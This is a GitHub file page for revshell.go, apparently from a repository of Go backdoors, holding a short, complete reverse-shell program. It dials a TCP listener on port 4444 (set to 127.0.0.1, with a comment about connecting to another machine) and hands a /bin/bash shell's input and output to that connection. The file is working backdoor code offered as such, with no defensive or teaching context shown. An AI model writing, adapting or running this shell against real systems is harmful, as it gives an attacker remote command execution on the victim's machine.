forked from LukeDSchenk/go-backdoors
-
Notifications
You must be signed in to change notification settings - Fork 0
/
revshell.go
58 lines (50 loc) · 1.47 KB
/
revshell.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package main
import (
"fmt"
"net"
"os/exec"
"os"
//"io"
)
//executes a bash shell and pipes in/out/err over the connection
func createShell(connection net.Conn) {
var message string = "successful connection from " + connection.LocalAddr().String()
_, err := connection.Write([]byte(message + "\n"))
if err != nil {
fmt.Println("An error occurred trying to write to the outbound connection:", err)
os.Exit(2)
}
cmd := exec.Command("/bin/bash")
cmd.Stdin = connection
cmd.Stdout = connection
cmd.Stderr = connection
cmd.Run()
}
func main() {
var tcpPort string = "4444"
connection, err := net.Dial("tcp", "127.0.0.1:" + tcpPort) //connect to the listener on another machine
if err != nil {
fmt.Println("An error occurred trying to connect to the target:", err)
os.Exit(1)
}
fmt.Println("Successfully connected to the target")
createShell(connection)
/*for {
checkConnection(connection)
}*/
}
//constantly checks that the connection is still alive
/*func checkConnection(connection net.Conn) {
buffer := make([]byte, 256)
_,err := connection.Read(buffer)
if err != nil {
if err == io.EOF {
fmt.Println("Connection was closed by remote host")
connection.Close()
os.Exit(3)
} else {
fmt.Println("An error occurred while checking the connection:", err)
os.Exit(3)
}
}
}*/